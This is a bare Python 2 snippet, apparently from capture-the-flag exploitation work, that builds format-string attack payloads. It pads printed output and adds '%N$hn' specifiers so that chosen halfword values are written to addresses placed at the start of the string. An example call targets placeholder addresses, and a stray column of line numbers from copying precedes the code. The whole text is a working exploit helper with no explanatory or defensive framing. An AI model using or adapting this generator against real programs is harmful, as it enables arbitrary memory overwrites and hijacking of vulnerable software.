fmt_str write func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
def format(writes, idx, address_string):
printed = len(address_string)
payload = ""
for where, what in sorted(writes.items(),key = lambda tmp:tmp[1]):
print where, what
to_add = (what - printed) &0xffff
if to_add > 0:
if to_add < 8:
payload += (what-printed) * 'a'
else:
payload += '%0' + str(to_add) + 'x'
payload += '%' + str(where + idx) + '$hn'
printed += to_add
return address_string + payload
writes = {}
writes[0] = (0x12345678 >> 16) & 0xffff
writes[1] = 0x12345678 & 0xffff
writes[2] = (0x12abcdef >> 16) & 0xffff
writes[3] = 0x12abcdef & 0xffff
addr_string = '\x12\x34\x56\x78' + '\x12\x34\x56\x78' + '\x12\x34\x56\x78' + '\x12\x34\x56\x78'
print format(writes, 0, addr_string)